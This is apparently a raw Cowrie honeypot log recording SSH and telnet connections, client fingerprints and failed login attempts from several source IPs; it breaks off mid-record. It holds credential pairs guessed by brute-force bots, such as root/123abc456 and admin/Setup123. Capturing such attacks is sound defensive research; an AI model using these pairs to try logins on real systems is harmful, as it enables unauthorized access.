{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":57756,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd057e7ce4b8","protocol":"ssh","message":"New connection: 91.92.40.153:57756 (10.17.0.5:22) [session: bd057e7ce4b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:39.086998Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":45862,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0f26ced95a8","protocol":"ssh","message":"New connection: 160.187.174.22:45862 (159.203.135.109:22) [session: b0f26ced95a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:39.299751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:39.307751Z","src_ip":"160.187.174.22","session":"b0f26ced95a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:39.544699Z","src_ip":"160.187.174.22","session":"b0f26ced95a8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:39.736119Z","src_ip":"91.92.40.153","session":"bd057e7ce4b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:39.739372Z","src_ip":"91.92.40.153","session":"bd057e7ce4b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"worker","password":"worker123","message":"login attempt [worker/worker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:40.794588Z","src_ip":"160.187.174.22","session":"b0f26ced95a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:42.041702Z","src_ip":"160.187.174.22","session":"b0f26ced95a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ghost","password":"ghost","message":"login attempt [ghost/ghost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:42.065433Z","src_ip":"91.92.40.153","session":"bd057e7ce4b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:43.403163Z","src_ip":"91.92.40.153","session":"bd057e7ce4b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":33858,"dst_ip":"10.17.0.5","dst_port":22,"session":"eafa64f4834c","protocol":"ssh","message":"New connection: 91.92.40.153:33858 (10.17.0.5:22) [session: eafa64f4834c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:45.874893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:46.135693Z","src_ip":"91.92.40.153","session":"eafa64f4834c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:46.138331Z","src_ip":"91.92.40.153","session":"eafa64f4834c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"qwerty","message":"login attempt [newuser/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:47.807561Z","src_ip":"91.92.40.153","session":"eafa64f4834c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":58256,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c699ed5b137","protocol":"telnet","message":"New connection: 170.64.224.25:58256 (159.203.135.109:23) [session: 6c699ed5b137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:48.005528Z"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:49.432351Z","src_ip":"91.92.40.153","session":"eafa64f4834c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Setup123","message":"login attempt [admin/Setup123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:49.847477Z","src_ip":"139.99.74.35","session":"e89ebadd46da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":33922,"dst_ip":"10.17.0.5","dst_port":22,"session":"bae89ca2d61e","protocol":"ssh","message":"New connection: 91.92.40.153:33922 (10.17.0.5:22) [session: bae89ca2d61e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:51.442736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:51.843913Z","src_ip":"91.92.40.153","session":"bae89ca2d61e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:51.846972Z","src_ip":"91.92.40.153","session":"bae89ca2d61e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":58272,"dst_ip":"159.203.135.109","dst_port":23,"session":"f52ff0a03f90","protocol":"telnet","message":"New connection: 170.64.224.25:58272 (159.203.135.109:23) [session: f52ff0a03f90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:53.465023Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123abc456","message":"login attempt [root/123abc456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:54.114142Z","src_ip":"91.92.40.153","session":"bae89ca2d61e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:55.281807Z","src_ip":"91.92.40.153","session":"bae89ca2d61e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"36.4","message":"Connection lost after 36.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:57.137440Z","src_ip":"139.99.74.35","session":"e89ebadd46da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":52676,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d68b9a68c7c","protocol":"ssh","message":"New connection: 139.99.74.35:52676 (159.203.135.109:22) [session: 3d68b9a68c7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:57.399622Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":45644,"dst_ip":"10.17.0.5","dst_port":22,"session":"1dfdc586f2ff","protocol":"ssh","message":"New connection: 91.92.40.153:45644 (10.17.0.5:22) [session: 1dfdc586f2ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:58.300848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:58.338041Z","src_ip":"91.92.40.153","session":"1dfdc586f2ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:58.471870Z","src_ip":"91.92.40.153","session":"1dfdc586f2ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jay","password":"jay","message":"login attempt [jay/jay] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:59.407407Z","src_ip":"91.92.40.153","session":"1dfdc586f2ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:00.743226Z","src_ip":"91.92.40.153","session":"1dfdc586f2ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:02.167370Z","src_ip":"139.99.74.35","session":"3d68b9a68c7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":52678,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d0c41da4b70","protocol":"ssh","message":"New connection: 139.99.74.35:52678 (159.203.135.109:22) [session: 1d0c41da4b70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:02.405727Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":49408,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ae8da1d9363","protocol":"ssh","message":"New connection: 91.92.40.153:49408 (10.17.0.5:22) [session: 1ae8da1d9363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:04.181827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:04.364527Z","src_ip":"91.92.40.153","session":"1ae8da1d9363","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:04.367834Z","src_ip":"91.92.40.153","session":"1ae8da1d9363","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student123","message":"login attempt [student/student123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:05.600941Z","src_ip":"91.92.40.153","session":"1ae8da1d9363","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":37278,"dst_ip":"159.203.135.109","dst_port":22,"session":"85132a3d4f68","protocol":"ssh","message":"New connection: 160.187.174.22:37278 (159.203.135.109:22) [session: 85132a3d4f68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:05.608010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:05.612547Z","src_ip":"160.187.174.22","session":"85132a3d4f68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:05.843969Z","src_ip":"160.187.174.22","session":"85132a3d4f68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:06.539694Z","src_ip":"160.187.174.22","session":"85132a3d4f68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:07.166788Z","src_ip":"139.99.74.35","session":"1d0c41da4b70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:07.205550Z","src_ip":"91.92.40.153","session":"1ae8da1d9363","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":58908,"dst_ip":"159.203.135.109","dst_port":22,"session":"7042420a95ae","protocol":"ssh","message":"New connection: 139.99.74.35:58908 (159.203.135.109:22) [session: 7042420a95ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:07.390600Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:07.775438Z","src_ip":"160.187.174.22","session":"85132a3d4f68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":49460,"dst_ip":"10.17.0.5","dst_port":22,"session":"39c6ddae2643","protocol":"ssh","message":"New connection: 91.92.40.153:49460 (10.17.0.5:22) [session: 39c6ddae2643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:09.721742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:10.054827Z","src_ip":"91.92.40.153","session":"39c6ddae2643","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.